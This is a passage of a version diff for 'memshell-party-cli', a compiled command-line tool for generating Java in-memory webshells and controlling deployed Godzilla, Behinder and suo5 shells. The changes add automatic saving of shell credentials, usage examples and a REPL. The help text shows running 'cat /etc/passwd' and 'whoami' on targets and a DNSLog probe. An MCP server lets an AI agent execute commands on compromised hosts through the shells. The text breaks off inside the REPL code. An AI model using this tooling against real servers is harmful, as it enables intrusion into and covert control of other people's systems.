memshell-party-cli 0.3.0 → 0.3.2

package/dist/cli.js

@@ -1,7 +1,7 @@
 #!/usr/bin/env node
 
 // src/cli.ts
-import { Command as Command7 } from "commander";
+import { Command as Command8, CommanderError as CommanderError2 } from "commander";
 
 // src/api/client.ts
 var ApiError = class extends Error {
@@ -156,6 +156,15 @@ function logInfo(msg) {
   process.stderr.write(`${msg}
 `);
 }
+function reportError(message, argv) {
+  if (argv.includes("--json")) {
+    process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
+`);
+  } else {
+    process.stderr.write(`Error: ${message}
+`);
+  }
+}
 
 // src/commands/config.ts
 function printJsonOrLines(data, json, renderLines) {
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
   }
 }
 function registerConfigCommand(program) {
-  const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers");
+  const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty config servers          # servers + their shell types (values for gen -s)
+  $ memparty config tools Tomcat     # tools available on one server (values for gen -t)
+  $ memparty config packers          # packer tree (values for gen -p)
+  $ memparty config command          # Command-tool encryptors and impl classes
+`
+  );
   config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
     const servers = await client.getServers();
@@ -1186,6 +1204,42 @@ function saveShellMeta(projectName, shellName, meta) {
   writeProjects(projects);
   return shell;
 }
+function sanitizeName(name) {
+  const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
+  return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
+}
+function autoSaveShell(conn) {
+  let host = "target";
+  let port = "";
+  try {
+    const u = new URL(conn.url);
+    host = u.hostname || host;
+    port = u.port;
+  } catch {
+  }
+  const projectName = sanitizeName(host) || "target";
+  const existing = getProject(projectName)?.shells ?? {};
+  let shellName = Object.keys(existing).find(
+    (n) => existing[n].url === conn.url && existing[n].tool === conn.tool
+  );
+  if (!shellName) {
+    const base = sanitizeName(conn.tool) || "shell";
+    shellName = base;
+    if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
+    for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
+  }
+  saveShell(projectName, shellName, {
+    url: conn.url,
+    tool: conn.tool,
+    pass: conn.pass,
+    key: conn.key,
+    headerName: conn.headerName,
+    headerValue: conn.headerValue,
+    extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
+    insecure: conn.insecure
+  });
+  return `${projectName}/${shellName}`;
+}
 function resolveConnection(ref, flags) {
   let stored;
   let targetName;
@@ -1195,7 +1249,7 @@ function resolveConnection(ref, flags) {
     let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
     const project = getProject(projectName);
     if (!project) {
-      throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty target list'`);
+      throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
     }
     if (!shellName) {
       const names = Object.keys(project.shells);
@@ -1254,7 +1308,7 @@ function parseExtraHeaders(lines) {
 function registerConnectCommand(program) {
   program.command("connect").description(
     "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
-  ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
     new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
   ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
     "--header-name <name>",
@@ -1264,7 +1318,7 @@ function registerConnectCommand(program) {
     "gate header value reported by gen (shellToolConfig.headerValue)"
   ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
     new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
-  ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
+  ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
     "after",
     `
 Examples:
@@ -1273,14 +1327,15 @@ Examples:
   $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
       --header-value YdwTyuQr
   $ memparty connect -u http://target/suo5.jsp -t suo5
-  $ memparty connect web222                       # saved target, see 'memparty target'
+  $ memparty connect web222                       # saved target, see 'memparty list'
   $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
 
 Note: shells generated by MemShellParty check a gate header \u2014 copy
 shellToolConfig.headerName/headerValue from the \`gen --json\` output
 (default header name is "User-Agent"), or the shell stays silent.
-Save the whole profile with 'memparty target save <name> ...' and then
-just pass the name.
+A successful test auto-saves the profile as <host>/<tool> (skip with
+--no-save); afterwards just pass the name. See 'memparty list',
+'memparty note' and 'memparty remove' to manage saved targets.
 `
   ).action(async (name, opts, cmd) => {
     const globals = cmd.optsWithGlobals();
@@ -1298,8 +1353,7 @@ just pass the name.
         insecure: opts.insecure
       });
     } catch (err) {
-      process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
-`);
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
       process.exitCode = 1;
       return;
     }
@@ -1327,6 +1381,11 @@ just pass the name.
         process.exitCode = 1;
         return;
     }
+    let savedAs;
+    if (result.ok && conn.targetName === void 0 && opts.save !== false) {
+      savedAs = autoSaveShell(conn);
+      conn.targetName = savedAs;
+    }
     logOp({
       category: "connect",
       action: "connect",
@@ -1339,12 +1398,13 @@ just pass the name.
       error: result.error
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(result, null, 2)}
+      process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
 `);
     } else if (result.ok) {
       process.stdout.write(`OK   ${result.tool} ${result.url}
      ${result.detail ?? ""}
 `);
+      if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
     } else {
       process.stderr.write(`FAIL ${result.tool} ${result.url}
      ${result.error ?? ""}
@@ -1372,7 +1432,7 @@ function parseExtraHeaders2(lines) {
 function registerExecCommand(program) {
   program.command("exec").description(
     "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
-  ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
     new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
   ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
     new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
@@ -1382,7 +1442,7 @@ function registerExecCommand(program) {
   ).option(
     "--header-value <value>",
     "gate header value reported by gen (shellToolConfig.headerValue)"
-  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
+  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
     "after",
     `
 Examples:
@@ -1390,7 +1450,7 @@ Examples:
       --header-value qSGAJScj --cmd "whoami"
   $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
       --header-value YdwTyuQr --cmd "cat /etc/passwd"
-  $ memparty exec web222 --cmd "whoami"            # saved target, see 'memparty target'
+  $ memparty exec web222 --cmd "whoami"            # saved target, see 'memparty list'
   $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
       --cmd "ipconfig /all" --json
 
@@ -1414,8 +1474,7 @@ the OS inside its payload, so --os does not apply.
         insecure: opts.insecure
       });
     } catch (err) {
-      process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
-`);
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
       process.exitCode = 1;
       return;
     }
@@ -1450,6 +1509,11 @@ the OS inside its payload, so --os does not apply.
         process.exitCode = 1;
         return;
     }
+    let savedAs;
+    if (result.ok && conn.targetName === void 0 && opts.save !== false) {
+      savedAs = autoSaveShell(conn);
+      conn.targetName = savedAs;
+    }
     const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
     logOp({
       category: "exec",
@@ -1465,11 +1529,12 @@ the OS inside its payload, so --os does not apply.
       error: result.error
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(result, null, 2)}
+      process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
 `);
     } else if (result.ok) {
       process.stdout.write(result.output ?? "");
       if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
+      if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
     } else {
       process.stderr.write(`FAIL ${result.tool} ${result.url}
      ${result.error ?? ""}
@@ -1768,7 +1833,26 @@ function toOptions(o) {
   };
 }
 function registerGenCommand(program) {
-  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
+  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty gen                                  # interactive wizard
+  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
+      --godzilla-pass pass --godzilla-key key --jdk java8
+  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
+      --godzilla-pass pass --godzilla-key key -o shell.class
+  $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
+      --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
+  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
+
+Note: run 'memparty config' to list the available servers, tools, shell
+types and packers. Some packers (e.g. Base64) are aggregate packers that
+return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
+for a single payload. The --json output includes the gate header
+(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
+`
+  ).action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
     const missing = REQUIRED.filter((k) => !opts[k]);
     const stdinIsTty = Boolean(process.stdin.isTTY);
@@ -1849,13 +1933,15 @@ function registerGenCommand(program) {
 // src/commands/log.ts
 import { Option as Option4 } from "commander";
 function registerLogCommand(program) {
-  program.command("log").description("Show the global operation log (every gen/probe/connect/exec/target op)").addOption(
+  program.command("log").description("Show the global operation log").addOption(
     new Option4("--category <name>", "filter by operation category").choices([
       "gen",
       "probe",
       "connect",
       "exec",
-      "target"
+      "save",
+      "note",
+      "remove"
     ])
   ).option(
     "--target <name>",
@@ -1866,6 +1952,7 @@ function registerLogCommand(program) {
 Examples:
   $ memparty log                          # latest 50 operations
   $ memparty log --category exec          # only command executions
+  $ memparty log --category save          # only target saves
   $ memparty log --target hw222           # everything against project hw222
   $ memparty log --category exec --target 192.168.31.222 --json
 `
@@ -2167,7 +2254,7 @@ function createMcpServer(client) {
     "connect_test",
     {
       title: "Test shell connection",
-      description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
+      description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
       inputSchema: connectInput
     },
     async (args) => {
@@ -2202,6 +2289,11 @@ function createMcpServer(client) {
           default:
             throw new Error(`unknown tool ${String(conn.tool)}`);
         }
+        let savedAs;
+        if (result.ok && conn.targetName === void 0) {
+          savedAs = autoSaveShell(conn);
+          conn.targetName = savedAs;
+        }
         logOp({
           category: "connect",
           action: "connect",
@@ -2213,7 +2305,7 @@ function createMcpServer(client) {
           detail: result.detail,
           error: result.error
         });
-        return jsonContent(result);
+        return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
       } catch (err) {
         return errorContent(err);
       }
@@ -2223,7 +2315,7 @@ function createMcpServer(client) {
     "exec_command",
     {
       title: "Execute command on shell",
-      description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
+      description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
       inputSchema: execInput
     },
     async (args) => {
@@ -2261,6 +2353,11 @@ function createMcpServer(client) {
           default:
             throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
         }
+        let savedAs;
+        if (result.ok && conn.targetName === void 0) {
+          savedAs = autoSaveShell(conn);
+          conn.targetName = savedAs;
+        }
         const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
         logOp({
           category: "exec",
@@ -2275,7 +2372,7 @@ function createMcpServer(client) {
           outputTruncated: truncated?.truncated || void 0,
           error: result.error
         });
-        return jsonContent(result);
+        return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
       } catch (err) {
         return errorContent(err);
       }
@@ -2307,7 +2404,7 @@ function createMcpServer(client) {
           remark: args.shellRemark
         });
         logOp({
-          category: "target",
+          category: "save",
           action: "save",
           targetName: `${args.project}/${args.shell}`,
           url: args.url,
@@ -2346,7 +2443,7 @@ function createMcpServer(client) {
           }
           const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
           logOp({
-            category: "target",
+            category: "note",
             action: "note",
             targetName: `${args.project}/${args.shell}`,
             ok: true,
@@ -2363,7 +2460,7 @@ function createMcpServer(client) {
           category: args.category
         });
         logOp({
-          category: "target",
+          category: "note",
           action: "note",
           targetName: args.project,
           ok: true,
@@ -2413,7 +2510,7 @@ function createMcpServer(client) {
         const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
         if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
         logOp({
-          category: "target",
+          category: "remove",
           action: "remove",
           targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
           ok: true,
@@ -2429,9 +2526,9 @@ function createMcpServer(client) {
     "log_list",
     {
       title: "List operation log",
-      description: "Read the global operation log (every gen/probe/connect/exec/target op), newest first. Filter by category and/or target.",
+      description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
       inputSchema: {
-        category: z.enum(["gen", "probe", "connect", "exec", "target"]).optional().describe("operation category"),
+        category: z.enum(["gen", "probe", "connect", "exec", "save", "note", "remove"]).optional().describe("operation category"),
         target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
         limit: z.number().optional().describe("max entries (default 50)")
       }
@@ -2470,7 +2567,15 @@ function registerMcpCommand(program) {
 // src/commands/parse-classname.ts
 import { readFileSync as readFileSync6 } from "fs";
 function registerParseClassNameCommand(program) {
-  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").action(async (base64, opts, cmd) => {
+  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty parse-classname -f shell.class
+  $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
+      -p DefaultBase64 --command-param-name cmd)"
+`
+  ).action(async (base64, opts, cmd) => {
     let classBase64;
     if (opts.file) {
       classBase64 = readFileSync6(opts.file).toString("base64");
@@ -2588,7 +2693,22 @@ function toOptions2(o) {
   };
 }
 function registerProbeCommand(program) {
-  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
+  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty probe                                # interactive wizard
+  $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\
+      --server Tomcat --req-param-name cmd
+  $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
+  $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
+      --sleep-server Tomcat --seconds 5
+
+Note: a probe is a detection shell that reports what the target supports.
+The server name reported by '-c Server' is the value to pass as
+'memparty gen -s'.
+`
+  ).action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
     const missing = REQUIRED2.filter((k) => !opts[k]);
     const stdinIsTty = Boolean(process.stdin.isTTY);
@@ -2681,11 +2801,37 @@ function parseRef(ref) {
   if (slash === -1) return { project: ref };
   return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
 }
-function registerTargetCommand(program) {
-  const target = program.command("target").description(
-    "Manage named shell targets: projects (remark + category) grouping several shells"
+function listTargets(opts) {
+  const all = listProjects();
+  const names = Object.keys(all).filter(
+    (n) => opts.category === void 0 || all[n].category === opts.category
   );
-  target.command("save").description(
+  if (opts.json) {
+    const filtered = {};
+    for (const n of names) filtered[n] = all[n];
+    process.stdout.write(`${JSON.stringify(filtered, null, 2)}
+`);
+    return;
+  }
+  if (names.length === 0) {
+    process.stdout.write(`no saved projects (store: ${targetStorePath()})
+`);
+    return;
+  }
+  for (const name of names) {
+    const p = all[name];
+    const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join("  ");
+    process.stdout.write(`${name}${meta ? `  ${meta}` : ""}
+`);
+    for (const [shellName, s] of Object.entries(p.shells)) {
+      const line = `  ${name}/${shellName}  ${s.tool}  ${s.url}`;
+      process.stdout.write(`${line}${s.remark ? `  \u2014 ${s.remark}` : ""}
+`);
+    }
+  }
+}
+function registerTargetCommand(program) {
+  program.command("save").description(
     "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
   ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
     new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
@@ -2693,10 +2839,14 @@ function registerTargetCommand(program) {
     "after",
     `
 Examples:
-  $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
+  $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
       -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
       --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
+  $ memparty list                            # show saved targets
   $ memparty exec hw222/bh9060 --cmd "whoami"
+
+Note: connect/exec already auto-save a verified shell as <host>/<tool>;
+save is for choosing the name by hand.
 `
   ).action((ref, opts) => {
     const { project, shell } = parseRef(ref);
@@ -2729,7 +2879,7 @@ Examples:
     };
     const stored = saveShell(project, shell, input3);
     logOp({
-      category: "target",
+      category: "save",
       action: "save",
       targetName: `${project}/${shell}`,
       url: stored.url,
@@ -2754,7 +2904,7 @@ Examples:
       );
     }
   });
-  target.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
+  program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
     const { project, shell } = parseRef(ref);
     if (shell) {
       if (opts.category !== void 0) {
@@ -2769,7 +2919,7 @@ Examples:
       }
       const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
       logOp({
-        category: "target",
+        category: "note",
         action: "note",
         targetName: `${project}/${shell}`,
         ok: true,
@@ -2796,7 +2946,7 @@ Examples:
       category: opts.category
     });
     logOp({
-      category: "target",
+      category: "note",
       action: "note",
       targetName: project,
       ok: true,
@@ -2807,40 +2957,12 @@ Examples:
 `
     );
   });
-  target.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action((opts) => {
-    const all = listProjects();
-    const names = Object.keys(all).filter(
-      (n) => opts.category === void 0 || all[n].category === opts.category
-    );
-    if (opts.json) {
-      const filtered = {};
-      for (const n of names) filtered[n] = all[n];
-      process.stdout.write(`${JSON.stringify(filtered, null, 2)}
-`);
-      return;
-    }
-    if (names.length === 0) {
-      process.stdout.write(`no saved projects (store: ${targetStorePath()})
-`);
-      return;
-    }
-    for (const name of names) {
-      const p = all[name];
-      const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join("  ");
-      process.stdout.write(`${name}${meta ? `  ${meta}` : ""}
-`);
-      for (const [shellName, s] of Object.entries(p.shells)) {
-        const line = `  ${name}/${shellName}  ${s.tool}  ${s.url}`;
-        process.stdout.write(`${line}${s.remark ? `  \u2014 ${s.remark}` : ""}
-`);
-      }
-    }
-  });
-  target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
+  program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
+  program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
     const { project, shell } = parseRef(ref);
     const removed = shell ? removeShell(project, shell) : removeProject(project);
     logOp({
-      category: "target",
+      category: "remove",
       action: "remove",
       targetName: ref,
       ok: removed,
@@ -2886,13 +3008,130 @@ function registerVersionCommand(program) {
   });
 }
 
+// src/repl.ts
+import * as readline from "readline";
+import { CommanderError } from "commander";
+function tokenize(line) {
+  const tokens = [];
+  let cur = "";
+  let quote = null;
+  let started = false;
+  for (const ch of line) {
+    if (quote !== null) {
+      if (ch === quote) quote = null;
+      else cur += ch;
+    } else if (ch === '"' || ch === "'") {
+      quote = ch;
+      started = true;
+    } else if (/\s/.test(ch)) {
+      if (started || cur.length > 0) {
+        tokens.push(cur);
+        cur = "";
+        started = false;
+      }
+    } else {
+      cur += ch;
+    }
+  }
+  if (started || cur.length > 0) tokens.push(cur);
+  return tokens;
+}
+async function startRepl(build) {
+  process.stdout.write(
+    `memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
+`
+  );
+  const rl = readline.createInterface({
+    input: process.stdin,
+    output: process.stdout,
+    terminal: process.stdin.isTTY === true,
+    historySize: 200
+  });
+  const pending = [];
+  let waiter = null;
+  let closed = false;
+  rl.on("line", (line) => {
+    if (waiter) {
+      const w = waiter;
+      waiter = null;
+      w(line);
+    } else {
+      pending.push(line);
+    }
+  });
+  rl.on("close", () => {
+    closed = true;
+    waiter?.(null);
+  });
+  const isTty = process.stdin.isTTY === true;
+  rl.setPrompt("memparty> ");
+  const ask = () => {
+    if (isTty) rl.prompt();
+    const buffered = pending.shift();
+    if (buffered !== void 0) return Promise.resolve(buffered);
+    if (closed) return Promise.resolve(null);
+    return new Promise((resolve) => {
+      waiter = resolve;
+    });
+  };
+  for (; ; ) {
+    const line = await ask();
+    if (line === null) break;
+    const tokens = tokenize(line);
+    if (tokens.length === 0) continue;
+    const [cmd, ...rest] = tokens;
+    if (cmd === "exit" || cmd === "quit") break;
+    if (cmd === "clear") {
+      process.stdout.write("\x1B[2J\x1B[0f");
+      continue;
+    }
+    if (cmd === "help") {
+      if (rest.length === 0) {
+        build().outputHelp();
+        continue;
+      }
+      tokens.push("--help");
+    }
+    rl.pause();
+    try {
+      await build().parseAsync(["node", "memparty", ...tokens]);
+    } catch (err) {
+      if (err instanceof CommanderError) {
